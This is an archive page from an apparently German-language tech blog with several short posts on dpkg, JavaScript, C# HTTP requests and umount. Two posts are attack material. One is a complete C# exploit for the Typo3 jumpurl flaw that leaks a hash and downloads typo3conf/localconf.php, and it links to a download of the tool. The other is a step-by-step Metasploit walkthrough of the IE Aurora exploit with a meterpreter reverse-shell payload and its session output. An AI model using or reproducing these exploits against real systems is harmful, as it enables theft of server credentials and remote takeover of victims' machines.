In diesem Artikel veröffentliche ich ein Script, das es schnell und einfach ermöglicht zu prüfen ob ein Paket installiert ist. Dieses Script kann auf allen Distributionen die den Debian Package Manager (kurz dpkg) als Programm zur Paketverwaltung verwenden eingesetzt werden. Auf jeden Fall ist es also auf Debian und Ubuntu funktional. Es wird mit Hilfe von dpkg und grep geprüft ob ein deb Paket den Suchstring im Namen hat.
Der Inhalt meines Scriptes dpkgcheck.sh:
#! /bin/sh if [ -n "$1" ]; then dpkg --get-selections | xargs -n 1 | grep "$1" exit 0 else echo "#\n# dpkgcheck.sh - searchs installed deb pakages\n# Usage: ./dpkgcheck.sh <name> \n#" exit 1 fi
Sollte das Script keine Ausgabe haben ist kein Paket installiert das den erforderlichen Suchstring im Paketname hat. Vergesst nicht dem Script vor dem Ausführen x zu geben (chmod +x <name>).
Keine Kommentare »Javascript: prüfen ob ein Element existiert
25 Februar 2010
Da die Statistik sehr viele Suchanfragen nach dem oben betitelten Thema verzeichnet, habe ich mich entschlossen darüber zu schreiben. Allgemein ist “Javascript: prüfen ob ein Element existiert” ein gutes Google Thema. In Javascript ist das prüfen ob ein Element existiert bzw. vorhanden ist ebenso einfach wie in jQuery. Zum Javascriptcode:
if (document.getElementById('divname')) { // Code ausführen, wenn DIV Element vorhanden. Funktioniert! }
Der Selektor ist in purem Javascript auf die div id beschränkt. Sehr ärgerlich ist das hierbei keine Klassen selektiert werden können. jQuery bietet diese Möglichkeit.
Keine Kommentare »C#: Typo3 Jumpurl Exploit
20 Februar 2010
Um es mir zu ermöglichen Typo3 Installationen von Windows System aus auf die Jumpurl Sicherheitslückezu überprüfen, habe ich mir einen Exploit in C# programmiert. Ich veröffentliche den Exploit erst jetzt, weil inzwischen die meisten Systeme gefixt sein sollten. Zunächst möchte ich die Vorgehensweise des Exploits beschreiben.
Als erstes wird ein HTTP Anfrage mit einer bestimmten Kombination an GET Parametern an Typo3 gesandt. Die Antwort dieser Anfrage wird eingelesen und die Prüfsumme die in der Antwort steht ausgelesen. Nun wird eine zweite Anfrage an das Typo3 System gesandt. Diese Abfrage ist eine Downloadanforderung für eine Datei, welche mit der Prüfsumme aus der zuvor erhaltenen Anfrage validiert wird.
Verwundbar sind die Typo3 Versionen TYPO3 < 4.2.6, TYPO3 < 4.1.10 und TYPO3 < 4.0.12. In den Typo3 Versionen < 4 findest du die fehlerhafte Datei in "tslib/class.tslib_fe.php". In den Versionen >= 4 ist die Datei unter “typo3/sysext/cms/tslib/class.tslib_fe.php” zu finden. Schauen wir uns den verwundbaren Quellcodeabschnitt mit Vorgangs relevanten Kommentaren Typo3 aus an:
## Prüfen ob $_GET['jumpurl'] nicht leer ist if ($this->jumpurl) { ## Prüfen ob $_GET['juSecure'] nicht leer ist if (t3lib_div::_GP('juSecure')) { $hArr = array( $this->jumpurl, t3lib_div::_GP('locationData'), $this->TYPO3_CONF_VARS['SYS']['encryptionKey'] ); $calcJuHash=t3lib_div::shortMD5(serialize($hArr)); $locationData = t3lib_div::_GP('locationData'); $juHash = t3lib_div::_GP('juHash'); ## Prüfe ob $_GET['juHash'] gleich der errechneten Prüfsumme if ($juHash == $calcJuHash) { ## $_GET['locationData'] überprüfen if ($this->locDataCheck($locationData)) { $this->jumpurl = rawurldecode($this->jumpurl); if (t3lib_div::verifyFilenameAgainstDenyPattern($this->jumpurl) && basename(dirname($this->jumpurl)) !== 'typo3conf') { if (@is_file($this->jumpurl)) { $mimeType = t3lib_div::_GP('mimeType'); $mimeType = $mimeType ? $mimeType : 'application/octet-stream'; ## Das Senden der Datei header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: '.$mimeType); header('Content-Disposition: attachment; filename='.basename($this->jumpurl)); readfile($this->jumpurl); exit; } else die('jumpurl Secure: "'.$this->jumpurl.'" was not a valid file!'); } else die('jumpurl Secure: The requested file type was not allowed to be accessed through jumpUrl (fileDenyPattern)!'); } else die('jumpurl Secure: locationData, '.$locationData.', was not accessible.'); ## Hier findet die Ausgabe der Prüfsumme statt } else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.'); } else {
Die Sicherheitslücke kann durch das ersetzen von:
} else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');
durch:
} else die('jumpurl Secure: Calculated juHash did not match the submitted juHash.');
geschlossen werden. Natürlich kannst du potentiellen Angreifern auch eine Nachricht hinterlassen oder dich über einen Angriff und den Angreifer informieren lassen. Ein kleines Beispiel hierzu:
} else { mail( 'mail@example.com', ## Hier musst du deine E-Mail Adresse eintragen 'Möglicher Einbruchsversuch auf Ihrem Typo3 System ('.$_SERVER['HTTP_HOST'].') via Jumpurl', "IP:\n".$_SERVER['REMOTE_ADDR']. "\n\nUhrzeit:\n".date('d.m.Y H:i:s', $_SERVER['REQUEST_TIME']). "\n\nGET Parameter:\n".$_SERVER['QUERY_STRING'], "Content-type: text/plain; charset=utf-8\r\n" ); exit('<p>Der Systemadministrator wurde benachrichtigt.</p>'); }
(Der zu ersetzende Teil bezieht sich auf den oben angesprochenen Fehlerhaften Quellcodeabschnitt)
Der C# Quellcode basiert auf der get_http_as_string Funktion die bereits in einem anderen Artikel besprochen wurde. Das ist der, wie immer gut kommentierte, C# Exploit Quellcode für die Typo3 Sicheitslücke:
/* * [arg[0] = string] die URL zum Typo3 System * [arg[1] = string] (optional) die herunterzuladende Datei */ public static void Main(string[] args) { // Prüfe ob arg[0] vorhanden if (args.Length > 0) { // Regulärer Ausdruck für die URL Validierung Regex r = new Regex(@"^https?:\/\/([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+([a-zA-Z]{2,6})/|[/a-zA-Z0-9]/$"); // Prüfe ob URL valide anhand des Regulären Ausdrucks if (r.IsMatch(args[0])) { string file = ""; // Prüfe ob arg[1] vorhanden if (args.Length > 1) { // Prüfe ob arg[1] nicht leer ist if (args[1].Length > 0) { file = args[1]; } else { file = "typo3conf/localconf.php"; } } else { file = "typo3conf/localconf.php"; } // Ermittle mit einer HTTP Anfrage die Ausgabe der Prüfsumme string content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&juSecure=1&locationData=1:", 8192); // Prüfe ob Ausgabe vorhanden if (content.Length > 0) { // Regulärer Ausdruck für die Prüfsumme r = new Regex("([a-f0-9]{10})+"); // Versuche die Prüfsumme anhand des Regulären Ausdrucks zu finden Match m = r.Match(content); // Prüfe ob die Prüfsumme gefunden wurde if (m.Length > 0) { // Prüfsumme wurde gefunden. Starte zweite HTTP Anfrage mit der Downloadanforderung. content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&juSecure=1&locationData=1:&juHash=" + m.Value, 8192); Console.WriteLine("# File content:"); Console.WriteLine(content); Console.WriteLine("# Attack successful!"); } else { Console.WriteLine("# Hash indeterminate );"); } } else { Console.WriteLine("# Something is going really wrong. Maybe the URL?"); } } else { Console.WriteLine("# Wrong URL format. Try this: http://<domainname>.<tld>/<dir[OPTIONAL]>/"); } } else { Console.WriteLine("# Typo3 Jumpurl exploit"); Console.WriteLine("# Usage: http://<domainname>.<tld>/ <file[OPTIONAL]>"); Console.WriteLine("# More: http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/"); } }
Ist das zweite Argument beim Programmaufruf nicht gesetzt wird versucht die Typo3 Konfigurationsdatei aus dem standard Pfad (typo3conf/localconf.php) herunterzuladen.
Das komplette Mono Projekt inklusive der ausführbaren Datei kann hier heruntergeladen werden:
Typo3 Jumpurl Exploit – C# Mono Projekt – herunterladen
(Das Programm ist zu Studienzwecken da und nicht um damit Unfug zu treiben)
Keine Kommentare »C#: Internetseite als String zurückgeben
11 Februar 2010
Öfter habe ich nun schon im Web gelesen, das Beispielcode gesucht wird, wie es in C# möglich ist eine Internetseite als Rückgabewert einer Methode als String zurück zu erhalten. Ich verwende hierbei die Klasse WebRequest für die HTTP Anfrage und den Streamreader zum lesen des Ergebnisses. Folgender, gut kommentierter, Codeschnippsel den ich für ein kleines Projekt erstellt habe sollte dir weiterhelfen:
/* * [url = string] die URL * [buffersize = int] Größe des Buffers */ private static string http_get_as_string(string url, int buffersize) { // Initialisiert den Webrequest WebRequest request = WebRequest.Create(url); // Der Anfragentyp. Wir übertragen keine POST Daten request.Method = "GET"; // Sollte keine nach 10000 Millisekunden keine Antwort kommen abbrechen request.Timeout = 10000; // Fehler Abfangen für den Fall das keine Antwort kommt try { // Die Antwort des Webservers erhalten HttpWebResponse response = (HttpWebResponse) request.GetResponse(); // Gibt den Datenstream der Antwort zurück Stream resource = response.GetResponseStream(); // Der Streamreader wird verwendet um aus dem Antwort Datenstream zu lesen StreamReader stream = new StreamReader(resource); // Der Lesebuffer zum lesen aus dem Datenstream wird erstellt char[] buffer = new char[buffersize]; // Lesen der Daten aus dem Stream stream.Read(buffer, 0, buffersize); // Erstellt aus dem Char Array einen String und gibt Ihn zurück return new string(buffer); } catch (WebException e) { return ""; } }
Die Funktion ermöglicht nicht nur das einlesen von HTML Code sondern ebenso das einlesen von XML, CSS oder Javascript Datein. Kurzum alle Dateien die über HTTP erreichbar sind. Für Fragen steht die Kommentarfunktion zur Verfügung.
Keine Kommentare »Linux: Umount – device is busy
30 Januar 2010
Wer kennt das nicht:
:~$ umount /media/disk/ umount: /media/disk: device is busy
“device is busy” – Der Wechseldatenträger lässt sich nicht aushängen, weil er gerade noch von einem Programm in Benutzung ist. Die Umount Option -f führt nicht zum Ziel. Auch wenn -f für “force” steht. Den Datenträger dennoch auszuhängen ist folgendermaßen möglich:
:~$ umount -l /dev/disk
In der Manpage steht zur Option -l:
Keine Kommentare »“-l Lazy unmount. Detach the filesystem from the filesystem hierarchy now, and cleanup all refer* ences to the filesystem as soon as it is not busy anymore. (Requires Kernel 2.4.11 or later.)”
BSI warnt: Internet Explorer Aurora Exploit
20 Januar 2010
Verspätet muss ich meine Freude über die Warnung des BSI vor dem Internet Explorer veröffentlichen. Der Fehler ist bisher noch ungepacht und das Exploit schon seit einiger Zeit online verfügbar. Es sind die Versionen 6 – 8 von Microsofts Internet Explorer betroffen. Laut heise.de wurden über diesen Schwachpunkt im Browser bereits gezielte Angriffe auf Google und andere amerikanische Firmen verübt. Microsoft selber empfiehlt die Sicherheitseinstellungen im Internet Explorer auf “hoch” zu stellen. Das deaktivieren von Javascript reicht jedoch aus um der Gefahr des Internet Explorer Aurora Exploit zu entgehen. Inzwischen wurde das Exploit sogar in das Exploit Framework Metasploit aufgenommen. Das Exploit aus dem Metasploit Framework ist nur beim Internet Explorer 6 funktional. Auf den Internet Explorer 7 sind trotz Protected Mode auch unter Windows Vista erfolgreiche Angriffe möglich. In der achten Version des Internet Explorers verhindert DEP (Data Execution Prevention) das Ausführen des Schädlichen Quellcodes. Um das “Internet Explorer Aurora Exploit” in die Finger zu bekommen muss man sich den aktuellen Snapshot via Subversion herunterladen. Die aktuelle Download Version war zum Veröffentlichungszeitpunkt das Metasploit Framework 3.3.3. Der Downloadvorgang ist denkbar einfach und schnell:
mkdir METASPLOITORDNER cd METASPLOITORDNER svn co https://www.metasploit.com/svn/framework3/trunk/
Das Aurora Exploit aus dem Metasploit Framework verwendet man folgendermaßen:
:~$ cd METASPLOITORDNER :~$ msfconsole msf > use exploit/windows/browser/ie_aurora msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ie_aurora) > set LHOST (deine IP) msf exploit(ie_aurora) > set URIPATH / msf exploit(ie_aurora) > exploit
[*] Exploit running as background job. [*] Started reverse handler on port 4444 [*] Local IP: http://192.168.2.101:8080/ [*] Server started.
Nach dieser Ausgabe landet man wieder an einer Eingabeaufforderung.
msf exploit(ie_aurora) >
Nun wird mit dem Internet Explorer Kontakt zur eigenen IP Adresse aufgenommen. Wenn der Exploit erfolgreich ausgeführt wird erscheint die Ausgabe:
[*] Sending stage (723456 bytes) [*] Loaden session 1 opened (192.168.2.101:4444 -> 192.168.0.2.101)
Metasploit bietet nun die Möglichkeit die Kontrolle des Rechners zu übernehmen. Darauf werde ich hier jedoch nicht weiter eingehen. Es lässt sich hoffen das es demnächst ein Update für den Internet Explorer geben wird.
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